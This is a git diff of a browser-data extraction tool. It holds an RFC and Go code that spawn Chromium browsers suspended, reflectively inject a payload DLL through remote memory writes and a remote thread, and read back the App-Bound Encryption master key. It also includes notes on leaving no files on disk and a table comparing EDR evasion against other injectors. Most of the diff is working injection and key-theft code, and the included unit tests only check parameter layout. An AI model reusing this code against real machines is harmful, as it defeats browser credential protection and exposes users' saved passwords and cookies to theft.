| Scenario | Requires zig? | Requires CGO? | Default `go build ./...` succeeds? | | Scenario | Requires zig? | Requires CGO? | Default `go build ./...` succeeds? |
|---|---|---|---| | --- | --- | --- | --- |
| macOS / Linux feature work | no | no | yes | | macOS / Linux feature work | no | no | yes |
| Windows non-ABE (v10/DPAPI) | no | no | yes (stub path) | | Windows non-ABE (v10/DPAPI) | no | no | yes (stub path) |
| Windows release with ABE | **yes** | no | `make build-windows` | | Windows release with ABE | **yes** | no | `make build-windows` |
@@ -227,50 +229,47 @@ All ABE-specific Go code is behind `//go:build windows` (plus `&& abe_embed` for
- Payload DLL exists only as: - Payload DLL exists only as:
1. Build artifact on the developer machine (`crypto/windows/payload/abe_extractor_amd64.bin`, git-ignored) 1. Build artifact on the developer machine (`crypto/windows/payload/abe_extractor_amd64.bin`, git-ignored)
2. `.rdata` section of `hack-browser-data.exe` (`//go:embed`) 2. `.rdata` section of `hack-browser-data.exe` (`//go:embed`)
3. Go `[]byte` in our process memory (one `copy()` for import patching) 3. Go `[]byte` in our process memory
4. `VirtualAllocEx`'d region in the target browser during injection; released on `TerminateProcess` 4. `VirtualAllocEx`'d RX payload region in the target browser during injection; released on `TerminateProcess`
No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's scratch region at `remoteBase + 0x40` (32 bytes). Everything stays in RAM. No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's standalone scratch region at `scratchBase + 0x40` (32 bytes). Everything stays in RAM.
### 8.1 Scratch layout ### 8.1 Scratch layout
``` ```
imageBase + 0x00 MZ header (untouched by us) scratchBase + 0x28 marker (1 B) ← Bootstrap progress
imageBase + 0x28 marker (1 B) ← Bootstrap progress scratchBase + 0x29 key_status (1 B; 0x01 = ready)
imageBase + 0x29 key_status (1 B; 0x01 = ready) scratchBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure
imageBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure scratchBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success)
imageBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success) scratchBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure
imageBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure scratchBase + 0x40..0x5F 32-byte master key
imageBase + 0x3C e_lfanew (PE header ptr, MUST NOT overwrite)
imageBase + 0x40..0x67 shared region (union):
pre-Bootstrap: 5 × uintptr (LoadLibraryA, GetProcAddress,
VirtualAlloc, VirtualProtect, NtFlushIC)
post-DllMain : 32-byte master key at 0x40..0x5F
``` ```
`0x40..0x5F` is **time-shared**: Go writes import pointers pre-injection; Bootstrap reads them once at function start; then DllMain overwrites the same bytes with the key. No concurrent readers. Import pointers live in the separate `BootstrapParams` block passed as the remote thread parameter; the scratch block is only diagnostics plus key material.
## 9. Comparison with reference implementations ## 9. Comparison with reference implementations
Three implementations of "extract Chrome v20 master key via reflective injection" exist in the ecosystem. Three implementations of "extract Chrome v20 master key via reflective injection" exist in the ecosystem.
| Dimension | **This project** | **injector-old** (local C++ fork) | **xaitax/Chrome-App-Bound-Encryption-Decryption** | | Dimension | **This project** | **injector-old** (local C++ fork) | **xaitax/Chrome-App-Bound-Encryption-Decryption** |
|---|---|---|---| | --- | --- | --- | --- |
| Top-level language | Go + C | Go + C++ | C++ end-to-end | | Top-level language | Go + C | Go + C++ | C++ end-to-end |
| Injector runtime | Go, `CGO_ENABLED=0` | Go, `CGO_ENABLED=0` | C++ standalone exe | | Injector runtime | Go, `CGO_ENABLED=0` | Go, `CGO_ENABLED=0` | C++ standalone exe |
| Reflective loader | **Self-written C**, ~280 lines | Stephen Fewer 2012 `ReflectiveLoader` (vendored C, ~500) | Self-written C++, ~400 | | Reflective loader | **Self-written C**, ~280 lines | Stephen Fewer 2012 `ReflectiveLoader` (vendored C, ~500) | Self-written C++, ~400 |
| kernel32 resolution | **Pre-resolved by Go, patched into DOS stub** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash | | kernel32 resolution | **Pre-resolved by Go, passed in BootstrapParams** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash |
| Syscall mechanism | Win32 APIs | Win32 APIs | Direct syscall via ASM trampoline | | Syscall mechanism | Win32 APIs | Win32 APIs | Direct syscall via ASM trampoline |
| COM DecryptData dispatch | Vtable slot by browser kind (5/8/13) | Full interface via `ComPtr` | Same as injector-old | | COM DecryptData dispatch | Vtable slot by browser kind (5/8/13) | Full interface via `ComPtr` | Same as injector-old |
| IPC payload → injector | **env var in, scratch-region read out** | Named pipe (full duplex) | Named pipe (full duplex) | | IPC payload → injector | **env var in, scratch-region read out** | Named pipe (full duplex) | Named pipe (full duplex) |
| Build toolchain for payload | `zig cc` | MSVC / clang-cl | MSVC | | Build toolchain for payload | `zig cc` | MSVC / clang-cl | MSVC |
| Runtime disk footprint | **0 bytes** | 1 temp file + pipe | Pipe | | Runtime disk footprint | **0 bytes** | 1 temp file + pipe | Pipe |
| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt*) | Strong (direct syscalls) | | EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt\*) | Strong (direct syscalls) |
### 9.1 Why we didn't vendor xaitax's Bootstrap ### 9.1 Why we didn't vendor xaitax's Bootstrap
Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM trampolines + direct syscalls add a second toolchain leg; pipe-based IPC is 300+ lines of C we don't need; browser termination is a product-policy decision we skipped. Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM trampolines + direct syscalls add a second toolchain leg; pipe-based IPC is 300+ lines of C we don't need; browser termination is a product-policy decision we skipped.
Comparisons in this section were made against [xaitax/Chrome-App-Bound-Encryption-Decryption @ `63b719f`](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/commit/63b719f2ab3dbf8573fd9228a9c028526e9eb1db). It is a reference for reading only — nothing from it is vendored, and it is deliberately not a submodule.
### 9.2 Why we abandoned Stephen Fewer's loader ### 9.2 Why we abandoned Stephen Fewer's loader
`while(curr)` loop without `curr != head` termination → walked past end of the circular `InMemoryOrderModuleList` → dereferenced `PEB_LDR_DATA` itself as an `LDR_DATA_TABLE_ENTRY` → access-violated on `BaseDllName.pBuffer`. The 2012-era struct alignment hack (commented-out first `LIST_ENTRY`) also makes it brittle against Windows internals. Our replacement is strictly smaller, addresses these bugs explicitly, and is first-party. `while(curr)` loop without `curr != head` termination → walked past end of the circular `InMemoryOrderModuleList` → dereferenced `PEB_LDR_DATA` itself as an `LDR_DATA_TABLE_ENTRY` → access-violated on `BaseDllName.pBuffer`. The 2012-era struct alignment hack (commented-out first `LIST_ENTRY`) also makes it brittle against Windows internals. Our replacement is strictly smaller, addresses these bugs explicitly, and is first-party.
@@ -278,7 +277,7 @@ Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM tramp
## 10. Browser coverage ## 10. Browser coverage
| Browser class | Behavior | | Browser class | Behavior |
|---|---| | --- | --- |
| Chrome Stable/Beta, Brave, CocCoc | ABE v20 via `CHROME_BASE` slot (5) | | Chrome Stable/Beta, Brave, CocCoc | ABE v20 via `CHROME_BASE` slot (5) |
| Microsoft Edge | ABE v20 via `EDGE` slot (8); v2 `E_NOINTERFACE` → v1 fallback succeeds | | Microsoft Edge | ABE v20 via `EDGE` slot (8); v2 `E_NOINTERFACE` → v1 fallback succeeds |
| Avast Secure Browser | ABE v20 via `AVAST` slot (13) | | Avast Secure Browser | ABE v20 via `AVAST` slot (13) |
@@ -318,7 +317,7 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows
## 13. Related RFCs ## 13. Related RFCs
| RFC | Relation | | RFC | Relation |
|---|---| | --- | --- |
| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC | | [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `masterkey.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots | | [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `masterkey.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots |
| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) | | [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |
+1 -1
View File
@@ -48,7 +48,7 @@ func TestDetectPEArch_EmptyInput(t *testing.T) {
} }
// TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports // TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports
// that Bootstrap also relies on via pre-resolved import patching. Passing // that Bootstrap also relies on via its remote parameter block. Passing
// here means both the export-table walker and the RVA→file-offset converter // here means both the export-table walker and the RVA→file-offset converter
// work against a real Windows PE — not just against fixtures we control. // work against a real Windows PE — not just against fixtures we control.
func TestFindExportFileOffset_KnownExports(t *testing.T) { func TestFindExportFileOffset_KnownExports(t *testing.T) {
+116 -96
View File
@@ -6,8 +6,10 @@ import (
"encoding/binary" "encoding/binary"
"fmt" "fmt"
"os" "os"
"runtime"
"syscall" "syscall"
"time" "time"
"unsafe"
"golang.org/x/sys/windows" "golang.org/x/sys/windows"
@@ -22,8 +24,9 @@ type Reflective struct {
const ( const (
exportName = "Bootstrap" exportName = "Bootstrap"
// 30s covers GoogleChromeElevationService cold-start on first call after boot. // 30s covers GoogleChromeElevationService cold-start on first call after boot.
defaultWait = 30 * time.Second defaultWait = 30 * time.Second
terminateWait = 2 * time.Second terminateWait = 2 * time.Second
bootstrapParamFieldSize = 8
) )
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) { func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
@@ -33,13 +36,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
if exePath == "" { if exePath == "" {
return nil, fmt.Errorf("injector: empty exePath") return nil, fmt.Errorf("injector: empty exePath")
} }
if runtime.GOARCH != "amd64" {
loaderRVA, err := validateAndLocateLoader(payload) return nil, fmt.Errorf("injector: only amd64 is supported (got %s)", runtime.GOARCH)
if err != nil {
return nil, err
} }
patched, err := patchPreresolvedImports(payload) loaderRVA, err := validateAndLocateLoader(payload)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@@ -47,11 +48,10 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
restore := setEnvTemporarily(env) restore := setEnvTemporarily(env)
defer restore() defer restore()
pi, udd, err := spawnSuspended(exePath) pi, err := spawnSuspended(exePath)
if err != nil { if err != nil {
return nil, err return nil, err
} }
defer os.RemoveAll(udd)
defer windows.CloseHandle(pi.Process) defer windows.CloseHandle(pi.Process)
defer windows.CloseHandle(pi.Thread) defer windows.CloseHandle(pi.Thread)
@@ -63,25 +63,25 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
} }
}() }()
remoteBase, err := writeRemotePayload(pi.Process, patched) remoteBase, err := writeRemotePayload(pi.Process, payload)
if err != nil {
return nil, err
}
scratchBase, err := allocateScratch(pi.Process)
if err != nil {
return nil, err
}
paramsBase, err := writeBootstrapParams(pi.Process, scratchBase)
if err != nil { if err != nil {
return nil, err return nil, err
} }
// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is if err := runAndWait(pi.Process, remoteBase, loaderRVA, paramsBase, r.wait()); err != nil {
// self-contained but the later elevation_service COM call inside the payload relies on a
// fully-initialized PEB. Chrome's main() is left running so it can stand up its own COM/
// scheduler infrastructure — the child will show a normal browser window under the isolated
// --user-data-dir, which we accept; our Bootstrap finishes before the user sees anything.
_, _ = windows.ResumeThread(pi.Thread)
time.Sleep(500 * time.Millisecond)
if err := runAndWait(pi.Process, remoteBase, loaderRVA, r.wait()); err != nil {
return nil, err return nil, err
} }
// Read output before TerminateProcess — after kill the memory is gone. // Read output before TerminateProcess — after kill the memory is gone.
result, readErr := readScratch(pi.Process, remoteBase) result, readErr := readScratch(pi.Process, scratchBase)
_ = windows.TerminateProcess(pi.Process, 0) _ = windows.TerminateProcess(pi.Process, 0)
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond)) _, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
@@ -133,63 +133,35 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
return off, nil return off, nil
} }
// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process. // spawnSuspended launches exePath with its primary thread suspended. The browser's normal startup
// Only --user-data-dir=<temp> is passed — this is the one switch that matters: it escapes the running // path is never resumed; only the remote Bootstrap thread runs, matching the ABE reference injector
// browser's ProcessSingleton mutex so the suspended child survives past main() long enough for the // and avoiding any top-level Chromium UI.
// remote Bootstrap thread to complete (issue #576). Adding any other flags (--no-startup-window, func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
// --disable-extensions, --disable-gpu, ...) has either destabilized Brave (payload dies in DllMain
// with marker=0x0b) or made newer Chromium forks on Windows 11 exit within ~200ms because they had
// "nothing to do" after bypassing window creation — letting the browser show a normal window under
// the isolated UDD is the most compatible behavior across forks and Windows versions.
func buildIsolatedCommandLine(exePath, udd string) string {
// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
return fmt.Sprintf(`"%s" --user-data-dir="%s"`, exePath, udd)
}
// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
// passed so the spawned chrome.exe does not collide with any already-running Chrome instance's
// ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap
// thread before it can publish the master key). The temp UDD is returned so the caller can remove it
// after injection.
func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) {
udd, err := os.MkdirTemp("", "hbd-inj-udd-*")
if err != nil {
return nil, "", fmt.Errorf("injector: make temp user-data-dir: %w", err)
}
cmdLine := buildIsolatedCommandLine(exePath, udd)
cmdPtr, err := syscall.UTF16PtrFromString(cmdLine)
if err != nil {
_ = os.RemoveAll(udd)
return nil, "", fmt.Errorf("injector: command line: %w", err)
}
exePtr, err := syscall.UTF16PtrFromString(exePath) exePtr, err := syscall.UTF16PtrFromString(exePath)
if err != nil { if err != nil {
_ = os.RemoveAll(udd) return nil, fmt.Errorf("injector: exe path: %w", err)
return nil, "", fmt.Errorf("injector: exe path: %w", err) }
si := &windows.StartupInfo{
Cb: uint32(unsafe.Sizeof(windows.StartupInfo{})),
} }
si := &windows.StartupInfo{}
pi := &windows.ProcessInformation{} pi := &windows.ProcessInformation{}
err = windows.CreateProcess( err = windows.CreateProcess(
exePtr, cmdPtr, nil, nil, exePtr, nil, nil, nil,
false, false,
windows.CREATE_SUSPENDED, windows.CREATE_SUSPENDED,
nil, nil, si, pi, nil, nil, si, pi,
) )
if err != nil { if err != nil {
_ = os.RemoveAll(udd) return nil, fmt.Errorf("injector: CreateProcess: %w", err)
return nil, "", fmt.Errorf("injector: CreateProcess: %w", err)
} }
return pi, udd, nil return pi, nil
} }
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) { func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
remoteBase, err := winapi.VirtualAllocEx(proc, remoteBase, err := winapi.VirtualAllocEx(proc,
uintptr(len(payload)), uintptr(len(payload)),
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE), uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
uint32(windows.PAGE_EXECUTE_READWRITE), uint32(windows.PAGE_READWRITE),
) )
if err != nil { if err != nil {
return 0, fmt.Errorf("injector: %w", err) return 0, fmt.Errorf("injector: %w", err)
@@ -202,6 +174,88 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
if int(written) != len(payload) { if int(written) != len(payload) {
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload)) return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
} }
if _, err := winapi.VirtualProtectEx(proc, remoteBase, uintptr(len(payload)), uint32(windows.PAGE_EXECUTE_READ)); err != nil {
return 0, fmt.Errorf("injector: protect payload: %w", err)
}
// Required before the region is executed. Bootstrap flushes again once it has mapped the
// payload's own sections, but that runs too late to cover its own first instruction.
if err := winapi.FlushInstructionCache(proc, remoteBase, uintptr(len(payload))); err != nil {
return 0, fmt.Errorf("injector: flush instruction cache: %w", err)
}
return remoteBase, nil
}
func allocateScratch(proc windows.Handle) (uintptr, error) {
// Keep the old scratch offsets stable for diagnostics/key reads, but place the scratch area in
// its own RW allocation so the raw payload image can be execute-only after writing.
const scratchSize = bootstrap.KeyOffset + bootstrap.KeyLen
remoteBase, err := winapi.VirtualAllocEx(proc,
uintptr(scratchSize),
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
uint32(windows.PAGE_READWRITE),
)
if err != nil {
return 0, fmt.Errorf("injector: allocate scratch: %w", err)
}
return remoteBase, nil
}
// encodeBootstrapParams lays out the C BootstrapParams struct using the cgo-generated field
// offsets, so a field added or reordered in bootstrap_layout.h shows up as a layout.go diff
// rather than as a silently misread pointer inside the target process.
func encodeBootstrapParams(scratchBase uintptr) ([]byte, error) {
fields := []struct {
offset int
addr uintptr
}{
{bootstrap.ParamScratchBase, scratchBase},
{bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
{bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
{bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
{bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
{bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
}
params := make([]byte, bootstrap.ParamsSize)
for _, f := range fields {
if f.addr == 0 {
return nil, fmt.Errorf("injector: failed to resolve one or more bootstrap params")
}
if err := putBootstrapParam(params, f.offset, f.addr); err != nil {
return nil, err
}
}
return params, nil
}
func putBootstrapParam(params []byte, offset int, addr uintptr) error {
if offset < 0 || offset > len(params)-bootstrapParamFieldSize {
return fmt.Errorf("injector: bootstrap param offset %d out of bounds for %d-byte block", offset, len(params))
}
binary.LittleEndian.PutUint64(params[offset:offset+bootstrapParamFieldSize], uint64(addr))
return nil
}
func writeBootstrapParams(proc windows.Handle, scratchBase uintptr) (uintptr, error) {
params, err := encodeBootstrapParams(scratchBase)
if err != nil {
return 0, err
}
remoteBase, err := winapi.VirtualAllocEx(proc,
uintptr(len(params)),
uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
uint32(windows.PAGE_READWRITE),
)
if err != nil {
return 0, fmt.Errorf("injector: allocate bootstrap params: %w", err)
}
var written uintptr
if err := windows.WriteProcessMemory(proc, remoteBase, &params[0], uintptr(len(params)), &written); err != nil {
return 0, fmt.Errorf("injector: write bootstrap params: %w", err)
}
if int(written) != len(params) {
return 0, fmt.Errorf("injector: short write to bootstrap params (%d/%d)", written, len(params))
}
return remoteBase, nil return remoteBase, nil
} }
@@ -209,9 +263,9 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
// process is still running; any other value means the process has already terminated. // process is still running; any other value means the process has already terminated.
const stillActive uint32 = 259 const stillActive uint32 = 259
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error { func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, param uintptr, wait time.Duration) error {
entry := remoteBase + uintptr(loaderRVA) entry := remoteBase + uintptr(loaderRVA)
hThread, err := winapi.CreateRemoteThread(proc, entry, 0) hThread, err := winapi.CreateRemoteThread(proc, entry, param)
if err != nil { if err != nil {
// Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy, // Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy,
// version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx // version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx
@@ -281,40 +335,6 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error)
return result, nil return result, nil
} }
// patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub
// so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent
// ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session).
func patchPreresolvedImports(payload []byte) ([]byte, error) {
if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
}
pLoadLibraryA := winapi.AddrLoadLibraryA()
pGetProcAddress := winapi.AddrGetProcAddress()
pVirtualAlloc := winapi.AddrVirtualAlloc()
pVirtualProtect := winapi.AddrVirtualProtect()
pNtFlushIC := winapi.AddrNtFlushInstructionCache()
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
pVirtualProtect == 0 || pNtFlushIC == 0 {
return nil, fmt.Errorf("injector: failed to resolve one or more pre-resolved imports")
}
patched := make([]byte, len(payload))
copy(patched, payload)
writeAddr := func(off int, addr uintptr) {
binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
}
writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA)
writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress)
writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc)
writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect)
writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC)
return patched, nil
}
// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize // setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize
// Inject calls. // Inject calls.
func setEnvTemporarily(env map[string]string) func() { func setEnvTemporarily(env map[string]string) func() {
+112
View File
@@ -0,0 +1,112 @@
//go:build windows && amd64
package injector
import (
"encoding/binary"
"testing"
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
"github.com/moond4rk/hackbrowserdata/utils/winapi"
)
// The C payload reads BootstrapParams by field offset while Go writes it as a flat byte
// slice, so this pins the encoding to the cgo-generated offsets rather than to field order.
func TestEncodeBootstrapParams(t *testing.T) {
const scratchBase = 0xDEADBEEF000
params, err := encodeBootstrapParams(scratchBase)
if err != nil {
t.Fatalf("encodeBootstrapParams: %v", err)
}
if len(params) != bootstrap.ParamsSize {
t.Fatalf("params size = %d, want %d (C sizeof(BootstrapParams))", len(params), bootstrap.ParamsSize)
}
cases := []struct {
name string
offset int
want uintptr
}{
{"scratch_base", bootstrap.ParamScratchBase, scratchBase},
{"LoadLibraryA", bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
{"GetProcAddress", bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
{"VirtualAlloc", bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
{"VirtualProtect", bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
{"NtFlushInstructionCache", bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
}
for _, tc := range cases {
got := binary.LittleEndian.Uint64(params[tc.offset : tc.offset+8])
if got != uint64(tc.want) {
t.Errorf("%s at offset 0x%x = %#x, want %#x", tc.name, tc.offset, got, tc.want)
}
if tc.want == 0 {
t.Errorf("%s resolved to a null address", tc.name)
}
}
}
func TestPutBootstrapParamBounds(t *testing.T) {
const want = uintptr(0x0123456789ABCDEF)
tests := []struct {
name string
size int
offset int
wantErr bool
}{
{name: "last valid field", size: 16, offset: 8},
{name: "negative offset", size: 8, offset: -1, wantErr: true},
{name: "short block", size: 7, offset: 0, wantErr: true},
{name: "one past end", size: 8, offset: 1, wantErr: true},
{name: "maximum offset", size: 8, offset: int(^uint(0) >> 1), wantErr: true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
params := make([]byte, tt.size)
err := putBootstrapParam(params, tt.offset, want)
if tt.wantErr {
if err == nil {
t.Fatal("putBootstrapParam returned nil error")
}
return
}
if err != nil {
t.Fatalf("putBootstrapParam: %v", err)
}
if got := binary.LittleEndian.Uint64(params[tt.offset:]); got != uint64(want) {
t.Errorf("encoded value = %#x, want %#x", got, want)
}
})
}
}
// Every field must land inside the struct and none may overlap — a stale offset constant
// would otherwise corrupt a neighboring pointer instead of failing loudly.
func TestBootstrapParamOffsetsAreDisjoint(t *testing.T) {
offsets := []int{
bootstrap.ParamScratchBase,
bootstrap.ParamLoadLibraryA,
bootstrap.ParamGetProcAddress,
bootstrap.ParamVirtualAlloc,
bootstrap.ParamVirtualProtect,
bootstrap.ParamNtFlushIC,
}
seen := make(map[int]bool, len(offsets))
for _, off := range offsets {
if off%8 != 0 {
t.Errorf("offset 0x%x is not 8-byte aligned", off)
}
if off < 0 || off > bootstrap.ParamsSize-bootstrapParamFieldSize {
t.Errorf("offset 0x%x overruns params block of %d bytes", off, bootstrap.ParamsSize)
}
if seen[off] {
t.Errorf("offset 0x%x used by more than one field", off)
}
seen[off] = true
}
if len(seen)*bootstrapParamFieldSize != bootstrap.ParamsSize {
t.Errorf("%d fields cover %d bytes, but C sizeof(BootstrapParams) is %d",
len(seen), len(seen)*bootstrapParamFieldSize, bootstrap.ParamsSize)
}
}
+28 -8
View File
@@ -11,8 +11,10 @@ import (
// Call-style procs used by the typed wrappers below. // Call-style procs used by the typed wrappers below.
var ( var (
procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx") procVirtualAllocEx = Kernel32.NewProc("VirtualAllocEx")
procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread") procVirtualProtectEx = Kernel32.NewProc("VirtualProtectEx")
procFlushInstructionCache = Kernel32.NewProc("FlushInstructionCache")
procCreateRemoteThread = Kernel32.NewProc("CreateRemoteThread")
// K32EnumProcesses is the kernel32-embedded twin of psapi!EnumProcesses // K32EnumProcesses is the kernel32-embedded twin of psapi!EnumProcesses
// introduced in Windows 7 — using it lets us skip the psapi.dll handle. // introduced in Windows 7 — using it lets us skip the psapi.dll handle.
@@ -21,8 +23,8 @@ var (
) )
// Address-style procs. The injector reads their raw addresses via .Addr() // Address-style procs. The injector reads their raw addresses via .Addr()
// and patches them into the reflective loader's DOS stub. We never Call // and passes them to the reflective loader in its remote parameter block.
// these from our own process. // We never Call these from our own process.
var ( var (
procLoadLibraryA = Kernel32.NewProc("LoadLibraryA") procLoadLibraryA = Kernel32.NewProc("LoadLibraryA")
procGetProcAddress = Kernel32.NewProc("GetProcAddress") procGetProcAddress = Kernel32.NewProc("GetProcAddress")
@@ -41,6 +43,25 @@ func VirtualAllocEx(proc windows.Handle, size uintptr, flAllocType, flProtect ui
) )
} }
// VirtualProtectEx wraps kernel32!VirtualProtectEx and returns the previous
// protection for the region.
func VirtualProtectEx(proc windows.Handle, addr, size uintptr, flNewProtect uint32) (uint32, error) {
var oldProtect uint32
_, err := CallBoolErr(procVirtualProtectEx,
uintptr(proc), addr, size,
uintptr(flNewProtect), uintptr(unsafe.Pointer(&oldProtect)),
)
return oldProtect, err
}
// FlushInstructionCache wraps kernel32!FlushInstructionCache. Windows requires this after
// writing bytes that are about to be executed as code; pass addr=0, size=0 to flush the
// whole process. amd64 caches happen to be coherent, but the API contract is not.
func FlushInstructionCache(proc windows.Handle, addr, size uintptr) error {
_, err := CallBoolErr(procFlushInstructionCache, uintptr(proc), addr, size)
return err
}
// CreateRemoteThread wraps kernel32!CreateRemoteThread. Returns the new // CreateRemoteThread wraps kernel32!CreateRemoteThread. Returns the new
// thread's handle, which the caller must CloseHandle. // thread's handle, which the caller must CloseHandle.
func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.Handle, error) { func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.Handle, error) {
@@ -54,10 +75,9 @@ func CreateRemoteThread(proc windows.Handle, startAddr, param uintptr) (windows.
return windows.Handle(h), nil return windows.Handle(h), nil
} }
// Addr* functions expose raw function pointers for the reflective // Addr* functions expose raw function pointers for the reflective loader's
// loader's DOS-stub patching. KnownDlls + session-consistent ASLR // BootstrapParams block. KnownDlls + session-consistent ASLR guarantees these
// guarantees these addresses are valid in every process spawned in // addresses are valid in every process spawned in the same boot session.
// the same boot session.
func AddrLoadLibraryA() uintptr { return procLoadLibraryA.Addr() } func AddrLoadLibraryA() uintptr { return procLoadLibraryA.Addr() }
func AddrGetProcAddress() uintptr { return procGetProcAddress.Addr() } func AddrGetProcAddress() uintptr { return procGetProcAddress.Addr() }